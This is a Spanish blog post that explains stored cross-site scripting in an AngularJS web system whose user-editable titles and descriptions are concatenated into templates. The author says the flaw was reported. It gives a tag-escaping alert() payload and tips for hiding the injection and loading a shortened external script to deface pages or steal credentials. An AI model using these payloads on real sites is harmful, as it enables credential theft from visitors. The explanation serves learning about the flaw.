[hack] Inyección de código persistente en angular

Vaya que ha pasado tiempo desde las últimas entradas. Pareciera que cada vez tengo menos tiempo, pero también hay que tener en claro que el desarrollo web avanza muy rápido y hace falta estar actualizado permanentemente para no perder el hilo. Hace unos años era el furor el acceso remoto a equipos mediante RATs a los que se les quitaba la firma de los antivirus, el redireccionmiento del trafico de red para robar credenciales era algo que cualquiera con una notbook podía hacer, e inclusive era muy probable encontrar con web que permitiera algún tipo de inyección de código.
Hoy en día la seguridad ha mejorado muchísimo y estos ataques han disminuido considerablemente. Los componentes externos y/o frameworks ya nos protegen bastantes de casos básicos de hacking aunque... aún podemos encontrarnos con algunas particularidades. Como el caso descubrí hace poco tiempo en un sistema web al que ya reporté al personal correspondiente.

En los últimos años la utilización de frameworks como Angular en la construcción de sistemas y webs dinámicas se ha expandido considerablemente, una de las ventajas principales es el bindeo dinámico, es decir que no requiere recargar la página para traer cambios de datos.  Un ejemplo muy sencillo es el de insertar las variables del controlador en las vistas (utilizan el patrón modelo-vista-controlador para separar la lógica, los datos y la vista), utilizando doble llaves "{{ variable }}". De esta manera al renderizar la página se muestra los valores que se le ha asignado y a la hora de un cambio este lo muestra automáticamente.
Hasta ahí con la teoría, pero siguiendo esta lógica ¿Qué me impide insertar código?
La ventaja en primera medida es que lo renderizado por angular es escapado y presentado visualmente como parte de la pagina, así un código es representado como un simple texto. El mismo framework nos brinda métodos para sanitizar elementos inseguros, y en todo lo que es Angular 2 en adelante cuando un elemento puede ser inseguro, este no es renderizado y se nos muestra un mensaje por consola al respecto.
A pesar de esto, en las versiones de angular js es posible ejecutar código javascript accediendo por propiedades de javascript a elementos del DOM y demás (dependiendo de la versión).

Volviendo al caso del sistema, una de las recomendaciones de angular es "Nunca genere el código fuente de la plantilla concatenando entradas y plantillas del usuario" y si a esto le sumamos que el código viene almacenado desde la base de datos, BOM! tenemos un lindo bug para explotar.
En el sistema en cuestión, la pagina mostraba datos de usuarios como título y descripción a partir de otra sección configurables por el usuario. Revisando el código de la página desde chrome se encontraba algo como lo siguiente:

Al principio podemos ver que utilizan prefijo "dx-" lo que implica que utilizan una librería para estilos o generación de algunos elementos de la página. Si buscamos el sitio web de la librería, en (este caso devextreme), podemos extraer ejemplos y probar los elementos en la misma web.

Si intentamos añadir una etiqueta html o código en el ejemplo que nos brinda, podemos ver que no se renderiza como html, entonces ya sabemos que el sistema anterior está generando código concatenando o si se encuentra bien hecho, en un componente o template especifico para esa porción.
Basta con hacer una prueba para darnos cuenta si es posible introducir código.

</a><script> alert("hacked"); </script><a>Nada pasó aquí

ya tenemos nuestro exploit.

Ahora cada vez que un usuario entre a la página verá algo como lo siguiente:

En el caso que no se quisiera dejar algo sospechoso, al cerrar y volver a crear la etiqueta html, nos aseguramos de que la página no se rompa. Y en caso de estar limitado los caracteres el exploit se podría realizar alojando externamente el código, recortando la url con páginas como tiny url o google. E inyectarlo como un atributo de la etiqueta script, como <script src="url malisiosa"></script> .

Finalmente hay que entender que el ataque puede ser grave, mas que un simple mensaje de alerta. Se podría desfacear la página completa, robar credenciales de usuario, o inclusive cargar suits completas de exploits y atacar las maquinas de los usuarios.